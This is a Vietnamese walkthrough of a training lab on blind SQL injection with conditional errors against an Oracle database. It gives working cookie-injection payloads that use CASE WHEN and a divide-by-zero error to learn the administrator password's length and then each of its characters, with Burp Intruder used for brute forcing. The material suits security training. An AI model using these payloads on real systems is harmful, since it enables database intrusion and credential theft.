Lab: Blind SQL injection with conditional errors
Last updated
Last updated
Mô tả
Phòng thí nghiệm này chứa lỗ hổn Blind SQL injection. Ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL có chứa giá trị của cookie đã gửi.
Kết quả của truy vấn SQL không được trả về và ứng dụng không phản hồi khác nhau tùy thuộc vào việc truy vấn có trả về bất kỳ hàng nào hay không. Nếu truy vấn SQL gây ra lỗi, thì ứng dụng sẽ trả về thông báo lỗi tùy chỉnh.
Cơ sở dữ liệu chứa một bảng khác có tên là users
, với các cột có tên là username
và password
.
Mục tiêu: Khai thác lỗ hổng SQL injection để tìm ra mật khẩu của người administrator
dùng.
Kích hoạt lỗi trên CSDL Oracle
SELECT CASE WHEN (
CONDITION) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Dựa vào để xác định có thể khai thác blind SQL injection bằng kích hoạt lỗi có điều kiện hay không
' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='a
' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='a
Dựa vào lỗ hổng này có thể lấy dữ liệu bằng mật khẩu administrator
bằng cách kiểm tra từng ký tự một
' AND (SELECT CASE WHEN (username = 'administrator' AND SUBSTRING(password, 1, 1) > 'm') THENTO_CHAR(1/0)
ELSE 'l' END FROM users)='l
Xác định độ dài mật khẩu
' AND (SELECT CASE WHEN (LENGTH(password) > 10) THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username = 'administrator')='a
' AND (SELECT CASE WHEN (LENGTH(password) < 30) THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username = 'administrator')='a
Vậy độ dài password
trong trong đoạn [11;29]
Sử dụng Intruder để bruteforce độ dài
Đồ dài phản hồi thay đổi tại giá trị 20. Như vậy xác định được password là 20
Xác định từng ký tự
' AND (SELECT CASE WHEN (substr(password, 1, 1) = 'a') THEN
TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username = 'administrator')='a
Lọc các status code 500 để xác định từng ký tự của mật khẩu
CASE
biểu thức được đánh giá là 'a'
, không gây ra bất kỳ lỗi nào 1/0
, gây ra lỗi chia cho không